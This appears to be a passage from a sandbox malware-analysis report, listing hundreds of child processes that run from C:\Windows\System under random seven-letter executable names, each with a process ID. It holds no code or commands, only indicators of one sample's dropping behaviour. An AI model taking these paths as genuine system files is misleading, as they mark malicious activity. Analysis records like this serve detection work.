- C:\Windows\System\ISVkBSW.exe
  C:\Windows\System\ISVkBSW.exe
  2⤵
  PID:5520
- C:\Windows\System\zkPdNxc.exe
  C:\Windows\System\zkPdNxc.exe
  2⤵
  PID:5612
- C:\Windows\System\zvZbHzU.exe
  C:\Windows\System\zvZbHzU.exe
  2⤵
  PID:5676
- C:\Windows\System\LvFFBhc.exe
  C:\Windows\System\LvFFBhc.exe
  2⤵
  PID:5716
- C:\Windows\System\NwVqpXy.exe
  C:\Windows\System\NwVqpXy.exe
  2⤵
  PID:5748
- C:\Windows\System\RHAiiJg.exe
  C:\Windows\System\RHAiiJg.exe
  2⤵
  PID:5760
- C:\Windows\System\HjYCOic.exe
  C:\Windows\System\HjYCOic.exe
  2⤵
  PID:5212
- C:\Windows\System\EIsxxXl.exe
  C:\Windows\System\EIsxxXl.exe
  2⤵
  PID:5948
- C:\Windows\System\FhqDeqz.exe
  C:\Windows\System\FhqDeqz.exe
  2⤵
  PID:5276
- C:\Windows\System\OYMiddC.exe
  C:\Windows\System\OYMiddC.exe
  2⤵
  PID:6280
- C:\Windows\System\pisTPsY.exe
  C:\Windows\System\pisTPsY.exe
  2⤵
  PID:6540
- C:\Windows\System\dkZXNIW.exe
  C:\Windows\System\dkZXNIW.exe
  2⤵
  PID:5804
- C:\Windows\System\vDpaQzg.exe
  C:\Windows\System\vDpaQzg.exe
  2⤵
  PID:6476
- C:\Windows\System\qvdfPmu.exe
  C:\Windows\System\qvdfPmu.exe
  2⤵
  PID:6640
- C:\Windows\System\xeRTvDS.exe
  C:\Windows\System\xeRTvDS.exe
  2⤵
  PID:6112
- C:\Windows\System\feepMWt.exe
  C:\Windows\System\feepMWt.exe
  2⤵
  PID:6316
- C:\Windows\System\oORADbi.exe
  C:\Windows\System\oORADbi.exe
  2⤵
  PID:3288
- C:\Windows\System\gussDuh.exe
  C:\Windows\System\gussDuh.exe
  2⤵
  PID:6884
- C:\Windows\System\biyFXYP.exe
  C:\Windows\System\biyFXYP.exe
  2⤵
  PID:6932
- C:\Windows\System\aDtEHCo.exe
  C:\Windows\System\aDtEHCo.exe
  2⤵
  PID:7024
- C:\Windows\System\jFTLCJx.exe
  C:\Windows\System\jFTLCJx.exe
  2⤵
  PID:6816
- C:\Windows\System\NFUAigF.exe
  C:\Windows\System\NFUAigF.exe
  2⤵
  PID:1736
- C:\Windows\System\Dxdfiid.exe
  C:\Windows\System\Dxdfiid.exe
  2⤵
  PID:6872
- C:\Windows\System\XTASsOQ.exe
  C:\Windows\System\XTASsOQ.exe
  2⤵
  PID:6924
- C:\Windows\System\SknOOOp.exe
  C:\Windows\System\SknOOOp.exe
  2⤵
  PID:7032
- C:\Windows\System\bbuRvKC.exe
  C:\Windows\System\bbuRvKC.exe
  2⤵
  PID:7000
- C:\Windows\System\NCcCqyA.exe
  C:\Windows\System\NCcCqyA.exe
  2⤵
  PID:7120
- C:\Windows\System\uHndXdy.exe
  C:\Windows\System\uHndXdy.exe
  2⤵
  PID:5932
- C:\Windows\System\ULzZtJD.exe
  C:\Windows\System\ULzZtJD.exe
  2⤵
  PID:5828
- C:\Windows\System\LSdCfxt.exe
  C:\Windows\System\LSdCfxt.exe
  2⤵
  PID:3476
- C:\Windows\System\FBZugVO.exe
  C:\Windows\System\FBZugVO.exe
  2⤵
  PID:6244
- C:\Windows\System\LUzLzVy.exe
  C:\Windows\System\LUzLzVy.exe
  2⤵
  PID:6028
- C:\Windows\System\ASDuuoF.exe
  C:\Windows\System\ASDuuoF.exe
  2⤵
  PID:4236
- C:\Windows\System\HDVgncP.exe
  C:\Windows\System\HDVgncP.exe
  2⤵
  PID:4332
- C:\Windows\System\iKycyVn.exe
  C:\Windows\System\iKycyVn.exe
  2⤵
  PID:4724
- C:\Windows\System\juDMqoK.exe
  C:\Windows\System\juDMqoK.exe
  2⤵
  PID:4912
- C:\Windows\System\EfmeECw.exe
  C:\Windows\System\EfmeECw.exe
  2⤵
  PID:4820
- C:\Windows\System\KyIBMPX.exe
  C:\Windows\System\KyIBMPX.exe
  2⤵
  PID:4916
- C:\Windows\System\stssrxh.exe
  C:\Windows\System\stssrxh.exe
  2⤵
  PID:6520
- C:\Windows\System\SAQvUjZ.exe
  C:\Windows\System\SAQvUjZ.exe
  2⤵
  PID:4476
- C:\Windows\System\GPxsHaJ.exe
  C:\Windows\System\GPxsHaJ.exe
  2⤵
  PID:4480
- C:\Windows\System\QYcaByc.exe
  C:\Windows\System\QYcaByc.exe
  2⤵
  PID:6332
- C:\Windows\System\aCWCzfJ.exe
  C:\Windows\System\aCWCzfJ.exe
  2⤵
  PID:5292
- C:\Windows\System\pJaEYZm.exe
  C:\Windows\System\pJaEYZm.exe
  2⤵
  PID:5228
- C:\Windows\System\YUibYoC.exe
  C:\Windows\System\YUibYoC.exe
  2⤵
  PID:6692
- C:\Windows\System\FRCEcld.exe
  C:\Windows\System\FRCEcld.exe
  2⤵
  PID:4064
- C:\Windows\System\MFMoQqu.exe
  C:\Windows\System\MFMoQqu.exe
  2⤵
  PID:3804
- C:\Windows\System\hNlLtpn.exe
  C:\Windows\System\hNlLtpn.exe
  2⤵
  PID:4092
- C:\Windows\System\aeiwLDN.exe
  C:\Windows\System\aeiwLDN.exe
  2⤵
  PID:1244
- C:\Windows\System\opwjPfm.exe
  C:\Windows\System\opwjPfm.exe
  2⤵
  PID:2484
- C:\Windows\System\AlZmerW.exe
  C:\Windows\System\AlZmerW.exe
  2⤵
  PID:1312
- C:\Windows\System\GVOIjPk.exe
  C:\Windows\System\GVOIjPk.exe
  2⤵
  PID:3584
- C:\Windows\System\qvpasMK.exe
  C:\Windows\System\qvpasMK.exe
  2⤵
  PID:5628
- C:\Windows\System\CpoabwV.exe
  C:\Windows\System\CpoabwV.exe
  2⤵
  PID:5564
- C:\Windows\System\dVNBDlI.exe
  C:\Windows\System\dVNBDlI.exe
  2⤵
  PID:5580
- C:\Windows\System\UWrLUXv.exe
  C:\Windows\System\UWrLUXv.exe
  2⤵
  PID:5492
- C:\Windows\System\DwcEmWT.exe
  C:\Windows\System\DwcEmWT.exe
  2⤵
  PID:5744
- C:\Windows\System\eBAlmjj.exe
  C:\Windows\System\eBAlmjj.exe
  2⤵
  PID:268
- C:\Windows\System\ruXCuHw.exe
  C:\Windows\System\ruXCuHw.exe
  2⤵
  PID:6108
- C:\Windows\System\eYTIZYq.exe
  C:\Windows\System\eYTIZYq.exe
  2⤵
  PID:6604
- C:\Windows\System\MqfCYTm.exe
  C:\Windows\System\MqfCYTm.exe
  2⤵
  PID:7072
- C:\Windows\System\YJbnevO.exe
  C:\Windows\System\YJbnevO.exe
  2⤵
  PID:6744
- C:\Windows\System\qVOKnzh.exe
  C:\Windows\System\qVOKnzh.exe
  2⤵
  PID:7068
- C:\Windows\System\YWeEXNG.exe
  C:\Windows\System\YWeEXNG.exe
  2⤵
  PID:5540
- C:\Windows\System\qeftdbA.exe
  C:\Windows\System\qeftdbA.exe
  2⤵
  PID:6840
- C:\Windows\System\YOeAMog.exe
  C:\Windows\System\YOeAMog.exe
  2⤵
  PID:340
- C:\Windows\System\XHzrJkC.exe
  C:\Windows\System\XHzrJkC.exe
  2⤵
  PID:6996
- C:\Windows\System\KuScMNd.exe
  C:\Windows\System\KuScMNd.exe
  2⤵
  PID:5920
- C:\Windows\System\tLeNrTJ.exe
  C:\Windows\System\tLeNrTJ.exe
  2⤵
  PID:5784
- C:\Windows\System\cUkuNGA.exe
  C:\Windows\System\cUkuNGA.exe
  2⤵
  PID:3124
- C:\Windows\System\NCsVDvB.exe
  C:\Windows\System\NCsVDvB.exe
  2⤵
  PID:4336
- C:\Windows\System\jWZzYQT.exe
  C:\Windows\System\jWZzYQT.exe
  2⤵
  PID:4816
- C:\Windows\System\DKOHTYU.exe
  C:\Windows\System\DKOHTYU.exe
  2⤵
  PID:4708
- C:\Windows\System\ZtMWJYV.exe
  C:\Windows\System\ZtMWJYV.exe
  2⤵
  PID:3544
- C:\Windows\System\YJPdiOM.exe
  C:\Windows\System\YJPdiOM.exe
  2⤵
  PID:5864
- C:\Windows\System\MdXdgJO.exe
  C:\Windows\System\MdXdgJO.exe
  2⤵
  PID:5132
- C:\Windows\System\MHHITIA.exe
  C:\Windows\System\MHHITIA.exe
  2⤵
  PID:6344
- C:\Windows\System\hyvBGIe.exe
  C:\Windows\System\hyvBGIe.exe
  2⤵
  PID:5332
- C:\Windows\System\rxyqHOy.exe
  C:\Windows\System\rxyqHOy.exe
  2⤵
  PID:5692
- C:\Windows\System\MNnvbOP.exe
  C:\Windows\System\MNnvbOP.exe
  2⤵
  PID:5272
- C:\Windows\System\ubZLKFx.exe
  C:\Windows\System\ubZLKFx.exe
  2⤵
  PID:2880
- C:\Windows\System\Imshaic.exe
  C:\Windows\System\Imshaic.exe
  2⤵
  PID:6536
- C:\Windows\System\VbPTVZb.exe
  C:\Windows\System\VbPTVZb.exe
  2⤵
  PID:5536
- C:\Windows\System\jRLkXzB.exe
  C:\Windows\System\jRLkXzB.exe
  2⤵
  PID:3920
- C:\Windows\System\hPitajQ.exe
  C:\Windows\System\hPitajQ.exe
  2⤵
  PID:7040
- C:\Windows\System\qpJERAZ.exe
  C:\Windows\System\qpJERAZ.exe
  2⤵
  PID:4564
- C:\Windows\System\dBHfpgH.exe
  C:\Windows\System\dBHfpgH.exe
  2⤵
  PID:7092
- C:\Windows\System\FxdkXzL.exe
  C:\Windows\System\FxdkXzL.exe
  2⤵
  PID:6092
- C:\Windows\System\eHJdmpQ.exe
  C:\Windows\System\eHJdmpQ.exe
  2⤵
  PID:7156
- C:\Windows\System\BCIZIcU.exe
  C:\Windows\System\BCIZIcU.exe
  2⤵
  PID:6252
- C:\Windows\System\UcxQkfN.exe
  C:\Windows\System\UcxQkfN.exe
  2⤵
  PID:1500
- C:\Windows\System\XiVeqRg.exe
  C:\Windows\System\XiVeqRg.exe
  2⤵
  PID:5860
- C:\Windows\System\ttbPrKw.exe
  C:\Windows\System\ttbPrKw.exe
  2⤵
  PID:7084
- C:\Windows\System\ZpwKDKA.exe
  C:\Windows\System\ZpwKDKA.exe
  2⤵
  PID:5732
- C:\Windows\System\OjLGFQG.exe
  C:\Windows\System\OjLGFQG.exe
  2⤵
  PID:2184
- C:\Windows\System\kDnNlFu.exe
  C:\Windows\System\kDnNlFu.exe
  2⤵
  PID:3632
- C:\Windows\System\zVjttKK.exe
  C:\Windows\System\zVjttKK.exe
  2⤵
  PID:2100
- C:\Windows\System\iCQuoAo.exe
  C:\Windows\System\iCQuoAo.exe
  2⤵
  PID:6904
- C:\Windows\System\PKBppdD.exe
  C:\Windows\System\PKBppdD.exe
  2⤵
  PID:6416
- C:\Windows\System\hOYShDp.exe
  C:\Windows\System\hOYShDp.exe
  2⤵
  PID:4800
- C:\Windows\System\sJAOcNl.exe
  C:\Windows\System\sJAOcNl.exe
  2⤵
  PID:4428
- C:\Windows\System\fbHHdsj.exe
  C:\Windows\System\fbHHdsj.exe
  2⤵
  PID:5672
- C:\Windows\System\EYyxSCW.exe
  C:\Windows\System\EYyxSCW.exe
  2⤵
  PID:6276
- C:\Windows\System\bFPtEjU.exe
  C:\Windows\System\bFPtEjU.exe
  2⤵
  PID:6920
- C:\Windows\System\paBbwaU.exe
  C:\Windows\System\paBbwaU.exe
  2⤵
  PID:7172
- C:\Windows\System\vDZruUg.exe
  C:\Windows\System\vDZruUg.exe
  2⤵
  PID:7188
- C:\Windows\System\fBwCFmZ.exe
  C:\Windows\System\fBwCFmZ.exe
  2⤵
  PID:7204
- C:\Windows\System\OISPdKG.exe
  C:\Windows\System\OISPdKG.exe
  2⤵
  PID:7220
- C:\Windows\System\UEiIXuv.exe
  C:\Windows\System\UEiIXuv.exe
  2⤵
  PID:7236
- C:\Windows\System\YyAbAZq.exe
  C:\Windows\System\YyAbAZq.exe
  2⤵
  PID:7252
- C:\Windows\System\GFxuEzD.exe
  C:\Windows\System\GFxuEzD.exe
  2⤵
  PID:7268
- C:\Windows\System\kZFwEDO.exe
  C:\Windows\System\kZFwEDO.exe
  2⤵
  PID:7284
- C:\Windows\System\WhrphJm.exe
  C:\Windows\System\WhrphJm.exe
  2⤵
  PID:7300
- C:\Windows\System\WJHziou.exe
  C:\Windows\System\WJHziou.exe
  2⤵
  PID:7316
- C:\Windows\System\ekghyoI.exe
  C:\Windows\System\ekghyoI.exe
  2⤵
  PID:7332
- C:\Windows\System\XowPAul.exe
  C:\Windows\System\XowPAul.exe
  2⤵
  PID:7348
- C:\Windows\System\RHdxGib.exe
  C:\Windows\System\RHdxGib.exe
  2⤵
  PID:7364
- C:\Windows\System\QkLwVYY.exe
  C:\Windows\System\QkLwVYY.exe
  2⤵
  PID:7380
- C:\Windows\System\ZsdHoTZ.exe
  C:\Windows\System\ZsdHoTZ.exe
  2⤵
  PID:7396
- C:\Windows\System\VrVTMQF.exe
  C:\Windows\System\VrVTMQF.exe
  2⤵
  PID:7412
- C:\Windows\System\qNziSrz.exe
  C:\Windows\System\qNziSrz.exe
  2⤵
  PID:7428
- C:\Windows\System\hqfVZUr.exe
  C:\Windows\System\hqfVZUr.exe
  2⤵
  PID:7444
- C:\Windows\System\MRIPshO.exe
  C:\Windows\System\MRIPshO.exe
  2⤵
  PID:7460
- C:\Windows\System\AWTLaYo.exe
  C:\Windows\System\AWTLaYo.exe
  2⤵
  PID:7476
- C:\Windows\System\UBWXiRc.exe
  C:\Windows\System\UBWXiRc.exe
  2⤵
  PID:7492
- C:\Windows\System\GxDbzzX.exe
  C:\Windows\System\GxDbzzX.exe
  2⤵
  PID:7508
- C:\Windows\System\HQcdkBJ.exe
  C:\Windows\System\HQcdkBJ.exe
  2⤵
  PID:7524
- C:\Windows\System\fJZVQLm.exe
  C:\Windows\System\fJZVQLm.exe
  2⤵
  PID:7540
- C:\Windows\System\EYQWrIA.exe
  C:\Windows\System\EYQWrIA.exe
  2⤵
  PID:7556
- C:\Windows\System\CCYBNFt.exe
  C:\Windows\System\CCYBNFt.exe
  2⤵
  PID:7572
- C:\Windows\System\RFbSqwv.exe
  C:\Windows\System\RFbSqwv.exe
  2⤵
  PID:7588
- C:\Windows\System\rSzXoHd.exe
  C:\Windows\System\rSzXoHd.exe
  2⤵
  PID:7604
- C:\Windows\System\uUmOhMo.exe
  C:\Windows\System\uUmOhMo.exe
  2⤵
  PID:7620
- C:\Windows\System\OPFqNUH.exe
  C:\Windows\System\OPFqNUH.exe
  2⤵
  PID:7636
- C:\Windows\System\njEzssV.exe
  C:\Windows\System\njEzssV.exe
  2⤵
  PID:7652
- C:\Windows\System\MVdeSXI.exe
  C:\Windows\System\MVdeSXI.exe
  2⤵
  PID:7668
- C:\Windows\System\urymwZr.exe
  C:\Windows\System\urymwZr.exe
  2⤵
  PID:7684
- C:\Windows\System\pPrLjqn.exe
  C:\Windows\System\pPrLjqn.exe
  2⤵
  PID:7700
- C:\Windows\System\DxgFAeA.exe
  C:\Windows\System\DxgFAeA.exe
  2⤵
  PID:7716
- C:\Windows\System\zIOyYDd.exe
  C:\Windows\System\zIOyYDd.exe
  2⤵
  PID:7732
- C:\Windows\System\ifPnFMJ.exe
  C:\Windows\System\ifPnFMJ.exe
  2⤵
  PID:7748
- C:\Windows\System\IUhIqNY.exe
  C:\Windows\System\IUhIqNY.exe
  2⤵
  PID:7764
- C:\Windows\System\RavpQig.exe
  C:\Windows\System\RavpQig.exe
  2⤵
  PID:7780
- C:\Windows\System\ShLaBBy.exe
  C:\Windows\System\ShLaBBy.exe
  2⤵
  PID:7800
- C:\Windows\System\PBNaiYV.exe
  C:\Windows\System\PBNaiYV.exe
  2⤵
  PID:7816
- C:\Windows\System\wbiUwlM.exe
  C:\Windows\System\wbiUwlM.exe
  2⤵
  PID:7832
- C:\Windows\System\sYHzFmD.exe
  C:\Windows\System\sYHzFmD.exe
  2⤵
  PID:7848
- C:\Windows\System\ARtDZok.exe
  C:\Windows\System\ARtDZok.exe
  2⤵
  PID:7864
- C:\Windows\System\BazCpAX.exe
  C:\Windows\System\BazCpAX.exe
  2⤵
  PID:7880
- C:\Windows\System\RDtAqNG.exe
  C:\Windows\System\RDtAqNG.exe
  2⤵
  PID:7896
- C:\Windows\System\bfRrtXn.exe
  C:\Windows\System\bfRrtXn.exe
  2⤵
  PID:7912
- C:\Windows\System\bQYBUnr.exe
  C:\Windows\System\bQYBUnr.exe
  2⤵
  PID:7928
- C:\Windows\System\hZkoaFU.exe
  C:\Windows\System\hZkoaFU.exe
  2⤵
  PID:7944
- C:\Windows\System\ViQeEUL.exe
  C:\Windows\System\ViQeEUL.exe
  2⤵
  PID:7968
- C:\Windows\System\EzZMxbW.exe
  C:\Windows\System\EzZMxbW.exe
  2⤵
  PID:7984
- C:\Windows\System\LYMLiml.exe
  C:\Windows\System\LYMLiml.exe
  2⤵
  PID:8000
- C:\Windows\System\QRprsJK.exe
  C:\Windows\System\QRprsJK.exe
  2⤵
  PID:8016
- C:\Windows\System\WafVpAy.exe
  C:\Windows\System\WafVpAy.exe
  2⤵
  PID:8032
- C:\Windows\System\DcdhAkj.exe
  C:\Windows\System\DcdhAkj.exe
  2⤵
  PID:8048
- C:\Windows\System\yqxYKTm.exe
  C:\Windows\System\yqxYKTm.exe
  2⤵
  PID:8064
- C:\Windows\System\eCjwezl.exe
  C:\Windows\System\eCjwezl.exe
  2⤵
  PID:8080
- C:\Windows\System\vRwtuuE.exe
  C:\Windows\System\vRwtuuE.exe
  2⤵
  PID:8096
- C:\Windows\System\VNSNIAr.exe
  C:\Windows\System\VNSNIAr.exe
  2⤵
  PID:8112
- C:\Windows\System\uktRWrV.exe
  C:\Windows\System\uktRWrV.exe
  2⤵
  PID:8128
- C:\Windows\System\NIcEHqK.exe
  C:\Windows\System\NIcEHqK.exe
  2⤵
  PID:8144
- C:\Windows\System\OiFMIOB.exe
  C:\Windows\System\OiFMIOB.exe
  2⤵
  PID:8160
- C:\Windows\System\TkApSQZ.exe
  C:\Windows\System\TkApSQZ.exe
  2⤵
  PID:8176
- C:\Windows\System\IKTpMpI.exe
  C:\Windows\System\IKTpMpI.exe
  2⤵
  PID:5192
- C:\Windows\System\SwEjPCs.exe
  C:\Windows\System\SwEjPCs.exe
  2⤵
  PID:7180
- C:\Windows\System\UnlSOpp.exe
  C:\Windows\System\UnlSOpp.exe
  2⤵
  PID:6956
- C:\Windows\System\FpAhzvh.exe
  C:\Windows\System\FpAhzvh.exe
  2⤵
  PID:7212
- C:\Windows\System\izvKjcj.exe
  C:\Windows\System\izvKjcj.exe
  2⤵
  PID:7196
- C:\Windows\System\wcFqVMk.exe
  C:\Windows\System\wcFqVMk.exe
  2⤵
  PID:7280
- C:\Windows\System\eRepwFB.exe
  C:\Windows\System\eRepwFB.exe
  2⤵
  PID:7292
- C:\Windows\System\sTrdCFC.exe
  C:\Windows\System\sTrdCFC.exe
  2⤵
  PID:7356
- C:\Windows\System\cxciybA.exe
  C:\Windows\System\cxciybA.exe
  2⤵
  PID:7340
- C:\Windows\System\FztdXgm.exe
  C:\Windows\System\FztdXgm.exe
  2⤵
  PID:7424
- C:\Windows\System\NSoJcEh.exe
  C:\Windows\System\NSoJcEh.exe
  2⤵
  PID:7404
- C:\Windows\System\ioAOUDG.exe
  C:\Windows\System\ioAOUDG.exe
  2⤵
  PID:7452
- C:\Windows\System\HeuPCeW.exe
  C:\Windows\System\HeuPCeW.exe
  2⤵
  PID:7500
- C:\Windows\System\KkzbDJU.exe
  C:\Windows\System\KkzbDJU.exe
  2⤵
  PID:7516
- C:\Windows\System\dupNQhF.exe
  C:\Windows\System\dupNQhF.exe
  2⤵
  PID:7564
- C:\Windows\System\AdGdfig.exe
  C:\Windows\System\AdGdfig.exe
  2⤵
  PID:7628
- C:\Windows\System\soVYMDa.exe
  C:\Windows\System\soVYMDa.exe
  2⤵
  PID:7584
- C:\Windows\System\NENpnJg.exe
  C:\Windows\System\NENpnJg.exe
  2⤵
  PID:7548
- C:\Windows\System\dwQzfwo.exe
  C:\Windows\System\dwQzfwo.exe
  2⤵
  PID:7680
- C:\Windows\System\HAvpcPP.exe
  C:\Windows\System\HAvpcPP.exe
  2⤵
  PID:7728
- C:\Windows\System\iDIqJtY.exe
  C:\Windows\System\iDIqJtY.exe
  2⤵
  PID:7740
- C:\Windows\System\xBLVWmi.exe
  C:\Windows\System\xBLVWmi.exe
  2⤵
  PID:7772
- C:\Windows\System\fgGedfZ.exe
  C:\Windows\System\fgGedfZ.exe
  2⤵
  PID:7824
- C:\Windows\System\UuPBTzc.exe
  C:\Windows\System\UuPBTzc.exe
  2⤵
  PID:7856
- C:\Windows\System\QZabZSa.exe
  C:\Windows\System\QZabZSa.exe
  2⤵
  PID:7876
- C:\Windows\System\UNGfiCO.exe
  C:\Windows\System\UNGfiCO.exe
  2⤵
  PID:7908
- C:\Windows\System\tVovSgV.exe
  C:\Windows\System\tVovSgV.exe
  2⤵
  PID:7936
- C:\Windows\System\sPNSSCB.exe
  C:\Windows\System\sPNSSCB.exe
  2⤵
  PID:7952
- C:\Windows\System\EKoFOBC.exe
  C:\Windows\System\EKoFOBC.exe
  2⤵
  PID:7992
- C:\Windows\System\rdLYGZr.exe
  C:\Windows\System\rdLYGZr.exe
  2⤵
  PID:8040
- C:\Windows\System\nKNSeeh.exe
  C:\Windows\System\nKNSeeh.exe
  2⤵
  PID:8056
- C:\Windows\System\IjoZbWm.exe
  C:\Windows\System\IjoZbWm.exe
  2⤵
  PID:8092
- C:\Windows\System\mwaDTBi.exe
  C:\Windows\System\mwaDTBi.exe
  2⤵
  PID:8108
- C:\Windows\System\LWZFnMR.exe
  C:\Windows\System\LWZFnMR.exe
  2⤵
  PID:8156
- C:\Windows\System\qhLixqS.exe
  C:\Windows\System\qhLixqS.exe
  2⤵
  PID:8172
- C:\Windows\System\YqvmKxc.exe
  C:\Windows\System\YqvmKxc.exe
  2⤵
  PID:7216
- C:\Windows\System\EtxPlxZ.exe
  C:\Windows\System\EtxPlxZ.exe
  2⤵
  PID:6888
- C:\Windows\System\CAxUGyq.exe
  C:\Windows\System\CAxUGyq.exe
  2⤵
  PID:7328
- C:\Windows\System\FsACHAs.exe
  C:\Windows\System\FsACHAs.exe
  2⤵
  PID:7392
- C:\Windows\System\ONtrqGl.exe
  C:\Windows\System\ONtrqGl.exe
  2⤵
  PID:7376
- C:\Windows\System\xyIPOap.exe
  C:\Windows\System\xyIPOap.exe
  2⤵
  PID:7468
- C:\Windows\System\zPBoDTs.exe
  C:\Windows\System\zPBoDTs.exe
  2⤵
  PID:7536
- C:\Windows\System\KYzJySv.exe
  C:\Windows\System\KYzJySv.exe
  2⤵
  PID:7756
- C:\Windows\System\ALNNBkL.exe
  C:\Windows\System\ALNNBkL.exe
  2⤵
  PID:7600
- C:\Windows\System\LQAqLHV.exe
  C:\Windows\System\LQAqLHV.exe
  2⤵
  PID:7844
- C:\Windows\System\SRpUAzG.exe
  C:\Windows\System\SRpUAzG.exe
  2⤵
  PID:7488
- C:\Windows\System\EAaIrym.exe
  C:\Windows\System\EAaIrym.exe
  2⤵
  PID:7812
- C:\Windows\System\zoDbSeB.exe
  C:\Windows\System\zoDbSeB.exe
  2⤵
  PID:7980
- C:\Windows\System\GzdTxyX.exe
  C:\Windows\System\GzdTxyX.exe
  2⤵
  PID:8012
- C:\Windows\System\XxPKcBr.exe
  C:\Windows\System\XxPKcBr.exe
  2⤵
  PID:5012
- C:\Windows\System\haeJgXW.exe
  C:\Windows\System\haeJgXW.exe
  2⤵
  PID:2016
- C:\Windows\System\dvOGNlf.exe
  C:\Windows\System\dvOGNlf.exe
  2⤵
  PID:8044
- C:\Windows\System\WgLUvPR.exe
  C:\Windows\System\WgLUvPR.exe
  2⤵
  PID:8104
- C:\Windows\System\rdRFEfY.exe
  C:\Windows\System\rdRFEfY.exe
  2⤵
  PID:7472
- C:\Windows\System\nmvIrvW.exe
  C:\Windows\System\nmvIrvW.exe
  2⤵
  PID:7692
- C:\Windows\System\SXQwXMX.exe
  C:\Windows\System\SXQwXMX.exe
  2⤵
  PID:7264
- C:\Windows\System\JupRSgi.exe
  C:\Windows\System\JupRSgi.exe
  2⤵
  PID:7484
- C:\Windows\System\dfXeTin.exe
  C:\Windows\System\dfXeTin.exe
  2⤵
  PID:7648
- C:\Windows\System\lCnCSfp.exe
  C:\Windows\System\lCnCSfp.exe
  2⤵
  PID:8076
- C:\Windows\System\kKROGOj.exe
  C:\Windows\System\kKROGOj.exe
  2⤵
  PID:7420
- C:\Windows\System\edirEfg.exe
  C:\Windows\System\edirEfg.exe
  2⤵
  PID:7248
- C:\Windows\System\krerVaD.exe
  C:\Windows\System\krerVaD.exe
  2⤵
  PID:7904
- C:\Windows\System\JfwmjkG.exe
  C:\Windows\System\JfwmjkG.exe
  2⤵
  PID:8072
- C:\Windows\System\WgzlrrJ.exe
  C:\Windows\System\WgzlrrJ.exe
  2⤵
  PID:8208
- C:\Windows\System\XPmjTPX.exe
  C:\Windows\System\XPmjTPX.exe
  2⤵
  PID:8224
- C:\Windows\System\vAkmSXm.exe
  C:\Windows\System\vAkmSXm.exe
  2⤵
  PID:8240
- C:\Windows\System\KArmFUu.exe
  C:\Windows\System\KArmFUu.exe
  2⤵
  PID:8256
- C:\Windows\System\wqqlozO.exe
  C:\Windows\System\wqqlozO.exe
  2⤵
  PID:8272
- C:\Windows\System\lfQNzDD.exe
  C:\Windows\System\lfQNzDD.exe
  2⤵
  PID:8288
- C:\Windows\System\aeOCprJ.exe
  C:\Windows\System\aeOCprJ.exe
  2⤵
  PID:8304
- C:\Windows\System\zztjSOC.exe
  C:\Windows\System\zztjSOC.exe
  2⤵
  PID:8320
- C:\Windows\System\AEcTlkw.exe
  C:\Windows\System\AEcTlkw.exe
  2⤵
  PID:8336
- C:\Windows\System\OmQtfKn.exe
  C:\Windows\System\OmQtfKn.exe
  2⤵
  PID:8352
- C:\Windows\System\rkjazIg.exe
  C:\Windows\System\rkjazIg.exe
  2⤵
  PID:8368
- C:\Windows\System\BYPYBvx.exe
  C:\Windows\System\BYPYBvx.exe
  2⤵
  PID:8384
- C:\Windows\System\qIvAdNk.exe
  C:\Windows\System\qIvAdNk.exe
  2⤵
  PID:8400
- C:\Windows\System\SeNpFik.exe
  C:\Windows\System\SeNpFik.exe
  2⤵
  PID:8416
- C:\Windows\System\DKHNTQC.exe
  C:\Windows\System\DKHNTQC.exe
  2⤵
  PID:8432
- C:\Windows\System\Siojwbj.exe
  C:\Windows\System\Siojwbj.exe
  2⤵
  PID:8448
- C:\Windows\System\mdCreui.exe
  C:\Windows\System\mdCreui.exe
  2⤵
  PID:8464
- C:\Windows\System\MqwHGZo.exe
  C:\Windows\System\MqwHGZo.exe
  2⤵
  PID:8480
- C:\Windows\System\yiQXCEg.exe
  C:\Windows\System\yiQXCEg.exe
  2⤵
  PID:8496
- C:\Windows\System\iDLSEWR.exe
  C:\Windows\System\iDLSEWR.exe
  2⤵
  PID:8512
- C:\Windows\System\GQPmkyg.exe
  C:\Windows\System\GQPmkyg.exe
  2⤵
  PID:8528
- C:\Windows\System\CTtRpDK.exe
  C:\Windows\System\CTtRpDK.exe
  2⤵
  PID:8544
- C:\Windows\System\jtjViRM.exe
  C:\Windows\System\jtjViRM.exe
  2⤵
  PID:8560
- C:\Windows\System\TNSxLMK.exe
  C:\Windows\System\TNSxLMK.exe
  2⤵
  PID:8576
- C:\Windows\System\vrlkXhV.exe
  C:\Windows\System\vrlkXhV.exe
  2⤵
  PID:8592
- C:\Windows\System\iptTkFy.exe
  C:\Windows\System\iptTkFy.exe
  2⤵
  PID:8608
- C:\Windows\System\kAdTiBb.exe
  C:\Windows\System\kAdTiBb.exe
  2⤵
  PID:8624
- C:\Windows\System\mOWPxXS.exe
  C:\Windows\System\mOWPxXS.exe
  2⤵
  PID:8640
- C:\Windows\System\HmxgGTI.exe
  C:\Windows\System\HmxgGTI.exe
  2⤵
  PID:8656
- C:\Windows\System\IolmoLy.exe
  C:\Windows\System\IolmoLy.exe
  2⤵
  PID:8672
- C:\Windows\System\qDGVuES.exe
  C:\Windows\System\qDGVuES.exe
  2⤵
  PID:8688
- C:\Windows\System\naOJAAc.exe
  C:\Windows\System\naOJAAc.exe
  2⤵
  PID:8704
- C:\Windows\System\kGQDHle.exe
  C:\Windows\System\kGQDHle.exe
  2⤵
  PID:8720
- C:\Windows\System\SAmNjik.exe
  C:\Windows\System\SAmNjik.exe
  2⤵
  PID:8736
- C:\Windows\System\bPxEPfU.exe
  C:\Windows\System\bPxEPfU.exe
  2⤵
  PID:8752
- C:\Windows\System\soebqBp.exe
  C:\Windows\System\soebqBp.exe
  2⤵
  PID:8768
- C:\Windows\System\KvgFaeB.exe
  C:\Windows\System\KvgFaeB.exe
  2⤵
  PID:8784
- C:\Windows\System\QhAHfMg.exe
  C:\Windows\System\QhAHfMg.exe
  2⤵
  PID:8800
- C:\Windows\System\qKdzffT.exe
  C:\Windows\System\qKdzffT.exe
  2⤵
  PID:8816
- C:\Windows\System\anKspbi.exe
  C:\Windows\System\anKspbi.exe
  2⤵
  PID:8832
- C:\Windows\System\ucaMCGL.exe
  C:\Windows\System\ucaMCGL.exe
  2⤵
  PID:8848
- C:\Windows\System\JDEJTfw.exe
  C:\Windows\System\JDEJTfw.exe
  2⤵
  PID:8864
- C:\Windows\System\nrVWmfB.exe
  C:\Windows\System\nrVWmfB.exe
  2⤵
  PID:8880
- C:\Windows\System\MtlDSSj.exe
  C:\Windows\System\MtlDSSj.exe
  2⤵
  PID:8896
- C:\Windows\System\ZRcggGz.exe
  C:\Windows\System\ZRcggGz.exe
  2⤵
  PID:8912
- C:\Windows\System\amKBvFN.exe
  C:\Windows\System\amKBvFN.exe
  2⤵
  PID:8928
